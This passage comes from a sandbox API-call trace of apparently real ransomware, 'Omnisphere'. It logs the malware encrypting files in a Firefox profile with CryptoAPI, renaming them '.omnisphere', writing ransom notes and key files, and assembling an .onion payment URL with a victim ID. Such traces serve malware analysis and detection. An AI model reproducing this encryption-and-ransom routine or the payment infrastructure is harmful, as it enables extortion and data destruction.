pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\!DECRYPT_OMNISPHERE.txt" [0161.618] GetProcessHeap () returned 0x1600000 [0161.618] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173e228 [0161.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.619] WriteFile (in: hFile=0x3c0, lpBuffer=0x173e228*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x173e228*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0161.620] CloseHandle (hObject=0x3c0) returned 1 [0161.620] GetProcessHeap () returned 0x1600000 [0161.620] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174b860 | out: hHeap=0x1600000) returned 1 [0161.620] GetProcessHeap () returned 0x1600000 [0161.620] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x1745848 [0161.620] PathCombineW (in: pszDest=0x1745848, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\unique_decrypt.key" [0161.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.621] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0161.622] CloseHandle (hObject=0x3c0) returned 1 [0161.622] GetProcessHeap () returned 0x1600000 [0161.622] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1745848 | out: hHeap=0x1600000) returned 1 [0161.622] GetProcessHeap () returned 0x1600000 [0161.622] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1745cf8 | out: hHeap=0x1600000) returned 1 [0161.622] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x145d99f2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x145d99f2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0xbb, cFileName="state.json", cAlternateFileName="STATE~1.JSO")) returned 1 [0161.622] GetProcessHeap () returned 0x1600000 [0161.622] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd4) returned 0x172cd28 [0161.622] PathCombineW (in: pszDest=0x172cd28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting", pszFile="state.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json" [0161.623] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0161.623] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\state.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.623] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=51) returned 1 [0161.623] GetTickCount () returned 0x1168247 [0161.623] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.624] GetTickCount () returned 0x1168247 [0161.625] GetTickCount () returned 0x1168247 [0161.625] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668708) returned 1 [0161.625] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x16396e8) returned 1 [0161.625] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0161.625] CryptDestroyKey (hKey=0x16396e8) returned 1 [0161.625] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0161.625] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33, lpName=0x0) returned 0x388 [0161.625] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33) returned 0x1480000 [0161.626] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x16683d8) returned 1 [0161.626] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639868) returned 1 [0161.626] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0161.626] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0161.626] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.627] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.627] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.627] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0161.627] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.627] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0161.627] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x33, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0161.627] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0161.628] GetProcessHeap () returned 0x1600000 [0161.628] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e4) returned 0x174b860 [0161.628] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\state.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\state.json.omnisphere")) returned 1 [0161.629] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json.omnisphere.id" [0161.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\state.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.629] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0161.630] CloseHandle (hObject=0x3b4) returned 1 [0161.630] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.630] CloseHandle (hObject=0x388) returned 1 [0161.631] SetEndOfFile (hFile=0x3c0) returned 1 [0161.631] FlushFileBuffers (hFile=0x3c0) returned 1 [0161.655] CloseHandle (hObject=0x3c0) returned 1 [0161.655] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\state.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting") returned 1 [0161.655] GetProcessHeap () returned 0x1600000 [0161.655] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174bb50 [0161.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.656] GetProcessHeap () returned 0x1600000 [0161.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733dd8 [0161.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733dd8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.656] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.656] GetProcessHeap () returned 0x1600000 [0161.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17265b8 [0161.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17265b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.656] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.656] GetProcessHeap () returned 0x1600000 [0161.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xee) returned 0x174c070 [0161.656] PathCombineW (in: pszDest=0x174c070, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\!DECRYPT_OMNISPHERE.txt" [0161.656] GetProcessHeap () returned 0x1600000 [0161.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173e7f0 [0161.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.657] WriteFile (in: hFile=0x3c0, lpBuffer=0x173e7f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x173e7f0*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0161.657] CloseHandle (hObject=0x3c0) returned 1 [0161.657] GetProcessHeap () returned 0x1600000 [0161.657] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174bb50 | out: hHeap=0x1600000) returned 1 [0161.657] GetProcessHeap () returned 0x1600000 [0161.657] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x17460b8 [0161.657] PathCombineW (in: pszDest=0x17460b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\unique_decrypt.key" [0161.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0161.657] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0161.658] CloseHandle (hObject=0x3c0) returned 1 [0161.658] GetProcessHeap () returned 0x1600000 [0161.658] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17460b8 | out: hHeap=0x1600000) returned 1 [0161.658] GetProcessHeap () returned 0x1600000 [0161.658] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172cd28 | out: hHeap=0x1600000) returned 1 [0161.658] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x145d99f2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x145d99f2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0xbb, cFileName="state.json", cAlternateFileName="STATE~1.JSO")) returned 0 [0161.658] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0161.662] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41704d09, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41704d09, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0161.662] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41704d09, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41704d09, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0161.662] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416dccfa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x416dccfa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4174f584, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0161.662] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14717c78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="archived", cAlternateFileName="")) returned 1 [0161.662] GetProcessHeap () returned 0x1600000 [0161.662] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd0) returned 0x1625bd8 [0161.662] PathCombineW (in: pszDest=0x1625bd8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting", pszFile="archived" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived" [0161.662] GetProcessHeap () returned 0x1600000 [0161.662] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd4) returned 0x172cd28 [0161.662] PathCombineW (in: pszDest=0x172cd28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\*" [0161.662] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14717c78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xad, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0161.663] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14717c78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xad, cFileName="..", cAlternateFileName="")) returned 1 [0161.663] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xad, cFileName="2017-09", cAlternateFileName="")) returned 1 [0161.663] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xad, cFileName="2017-09", cAlternateFileName="")) returned 0 [0161.663] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0161.663] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14717c78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x174bb48, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639768 [0161.664] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x147168f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14717c78, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14717c78, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x174bb48, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0161.664] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x174bb48, dwReserved1=0x1600000, cFileName="2017-09", cAlternateFileName="")) returned 1 [0161.664] GetProcessHeap () returned 0x1600000 [0161.664] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe0) returned 0x172a4c8 [0161.664] PathCombineW (in: pszDest=0x172a4c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived", 